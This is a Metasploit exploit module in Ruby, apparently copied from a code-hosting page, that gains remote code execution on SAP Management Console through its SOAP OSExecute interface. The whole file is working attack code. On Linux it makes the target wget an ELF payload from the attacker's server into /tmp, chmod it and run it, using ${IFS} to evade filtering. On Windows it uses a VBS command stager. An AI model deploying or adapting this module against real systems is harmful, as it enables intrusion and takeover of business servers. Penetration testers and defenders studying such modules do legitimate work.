357 lines
12 KiB
Ruby
357 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SAP Management Console OSExecute Payload Execution',
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Chris John Riley', # Original module, windows target
|
|
'juan vazquez' # Linux target
|
|
],
|
|
'Description' => %q{
|
|
This module executes an arbitrary payload through the SAP Management Console
|
|
SOAP Interface. A valid username and password for the SAP Management Console must
|
|
be provided. This module has been tested successfully on both Windows and Linux
|
|
platforms running SAP Netweaver. In order to exploit a Linux platform, the target
|
|
system must have available the wget command.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://blog.c22.cc/toolsscripts/metasploit-modules/sap_mgmt_con_osexecute/' ]
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
|
|
},
|
|
'Platform' => %w{ linux win },
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win',
|
|
'CmdStagerFlavor' => 'vbs'
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Mar 08 2011'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(50013),
|
|
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to use', '']),
|
|
OptString.new('PASSWORD', [true, 'Password to use', '']),
|
|
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the Linux payload from' ]),
|
|
OptString.new('DOWNFILE', [ false, 'Filename to download when using Linux target, (default: random)' ]),
|
|
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
|
|
])
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 7500]),
|
|
])
|
|
register_autofilter_ports([ 50013 ])
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check
|
|
begin
|
|
res = send_soap_request("")
|
|
rescue ::Rex::ConnectionError
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/
|
|
return Exploit::CheckCode::Appears
|
|
elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/)
|
|
return Exploit::CheckCode::Detected
|
|
elsif res and res.headers['Server'] =~ /gSOAP/
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{rhost}:#{rport} - Auto Detecting Remote Platform...")
|
|
my_platform = auto_detect
|
|
if my_platform.nil?
|
|
print_error("#{rhost}:#{rport} - Remote Platform not detected, continue anyway...")
|
|
elsif target['Platform'] == my_platform
|
|
print_good("#{rhost}:#{rport} - #{target.name} successfully detected...")
|
|
else
|
|
print_error("#{rhost}:#{rport} - #{target.name} not detected, but #{my_platform}, continue anyway...")
|
|
end
|
|
|
|
if target.name =~ /Windows/
|
|
print_status("#{rhost}:#{rport} - Connecting to SAP Management Console SOAP Interface...")
|
|
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
|
|
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 7500
|
|
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
|
|
elsif target.name =~ /Linux/
|
|
exploit_linux
|
|
end
|
|
end
|
|
|
|
def auto_detect
|
|
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
|
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
|
xs = 'http://www.w3.org/2001/XMLSchema'
|
|
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
|
ns1 = 'ns1:GetEnvironment'
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
|
|
data << '" xmlns:xs="' + xs + '">' + "\r\n"
|
|
data << '<SOAP-ENV:Header>' + "\r\n"
|
|
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
|
data << '<enableSession>true</enableSession>' + "\r\n"
|
|
data << '</sapsess:Session>' + "\r\n"
|
|
data << '</SOAP-ENV:Header>' + "\r\n"
|
|
data << '<SOAP-ENV:Body>' + "\r\n"
|
|
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
|
data << '</SOAP-ENV:Body>' + "\r\n"
|
|
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
|
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(datastore['URI']),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => 'text/xml; charset=UTF-8',
|
|
'headers' =>
|
|
{
|
|
'SOAPAction' => '""'
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /OSTYPE=linux/
|
|
return "linux"
|
|
elsif res and res.code == 200 and res.body =~ /OS=Windows/
|
|
return "win"
|
|
else
|
|
return nil
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
|
end
|
|
|
|
end
|
|
|
|
def send_soap_request(command)
|
|
|
|
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
|
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
|
xs = 'http://www.w3.org/2001/XMLSchema'
|
|
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
|
ns1 = 'ns1:OSExecute'
|
|
|
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
|
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
|
data << '<SOAP-ENV:Header>' + "\r\n"
|
|
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
|
data << '<enableSession>true</enableSession>' + "\r\n"
|
|
data << '</sapsess:Session>' + "\r\n"
|
|
data << '</SOAP-ENV:Header>' + "\r\n"
|
|
data << '<SOAP-ENV:Body>' + "\r\n"
|
|
data << "<#{ns1} xmlns:ns1=\"urn:SAPControl\"><command>#{command}</command>"
|
|
data << '<async>0</async></' + ns1 + '>' + "\r\n"
|
|
data << '</SOAP-ENV:Body>' + "\r\n"
|
|
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(datastore['USERNAME'], datastore['PASSWORD']),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => 'text/xml; charset=UTF-8',
|
|
'headers' =>
|
|
{
|
|
'SOAPAction' => '""'
|
|
}
|
|
})
|
|
return res
|
|
end
|
|
|
|
def exploit_linux
|
|
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
|
@pl = generate_payload_exe
|
|
@elf_sent = false
|
|
|
|
#
|
|
# start our server
|
|
#
|
|
resource_uri = '/' + downfile
|
|
|
|
if (datastore['DOWNHOST'])
|
|
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
else
|
|
#do not use SSL
|
|
if datastore['SSL']
|
|
ssl_restore = true
|
|
datastore['SSL'] = false
|
|
end
|
|
|
|
#we use SRVHOST as download IP for the coming wget command.
|
|
#SRVHOST needs a real IP address of our download host
|
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
|
srv_host = Rex::Socket.source_address(rhost)
|
|
else
|
|
srv_host = datastore['SRVHOST']
|
|
end
|
|
|
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
|
|
start_service({'Uri' => {
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request_uri(cli, req)
|
|
},
|
|
'Path' => resource_uri
|
|
}})
|
|
|
|
datastore['SSL'] = true if ssl_restore
|
|
end
|
|
|
|
#
|
|
# download payload
|
|
#
|
|
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to download #{service_url}")
|
|
#this filename is used to store the payload on the device
|
|
filename = rand_text_alpha_lower(8)
|
|
|
|
#not working if we send all command together -> lets take three requests
|
|
cmd = "wget #{service_url} -O /tmp/#{filename}"
|
|
cmd.gsub!(/ /, "${IFS}")
|
|
begin
|
|
res = send_soap_request("/bin/sh -c #{cmd}")
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
|
end
|
|
handle_response(res)
|
|
|
|
# wait for payload download
|
|
if (datastore['DOWNHOST'])
|
|
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the SAP Management Console to download the payload")
|
|
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
|
else
|
|
wait_linux_payload
|
|
end
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
|
|
#
|
|
# chmod
|
|
#
|
|
cmd = "chmod 777 /tmp/#{filename}"
|
|
cmd.gsub!(/ /, "${IFS}")
|
|
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to chmod /tmp/#{filename}")
|
|
begin
|
|
res = send_soap_request("/bin/sh -c #{cmd}")
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
|
end
|
|
handle_response(res)
|
|
|
|
#
|
|
# execute
|
|
#
|
|
cmd = "/tmp/#{filename}"
|
|
print_status("#{rhost}:#{rport} - Asking the SAP Management Console to execute /tmp/#{filename}")
|
|
begin
|
|
res = send_soap_request("/bin/sh -c #{cmd}")
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
|
end
|
|
handle_response(res)
|
|
end
|
|
|
|
# Handle incoming requests from the server
|
|
def on_request_uri(cli, request)
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
|
if (not @pl)
|
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
|
return
|
|
end
|
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
@elf_sent = true
|
|
send_response(cli, @pl)
|
|
end
|
|
|
|
# wait for the data to be sent
|
|
def wait_linux_payload
|
|
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
|
|
|
|
waited = 0
|
|
while (not @elf_sent)
|
|
select(nil, nil, nil, 1)
|
|
waited += 1
|
|
if (waited > datastore['HTTP_DELAY'])
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
|
end
|
|
end
|
|
end
|
|
|
|
# This is method required for the Windows CmdStager to work
|
|
def execute_command(cmd, opts)
|
|
|
|
cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
|
|
if cmd_s.length > 1
|
|
vprint_status("#{rhost}:#{rport} - Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
|
|
end
|
|
|
|
cmd_s = cmd_s.collect(&:strip)
|
|
cmd_s.each do |payload|
|
|
begin
|
|
res = send_soap_request("cmd /c #{payload.strip}")
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
|
|
end
|
|
handle_response(res)
|
|
end
|
|
end
|
|
|
|
def handle_response(res)
|
|
if (res and res.code != 500 and res.code != 200)
|
|
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
|
|
elsif res and res.code == 500
|
|
body = res.body
|
|
if body.match(/Invalid Credentials/i)
|
|
print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect")
|
|
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
|
elsif body.match(/Permission denied/i)
|
|
print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions")
|
|
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
|
end
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
|
|
end
|
|
end
|
|
end
|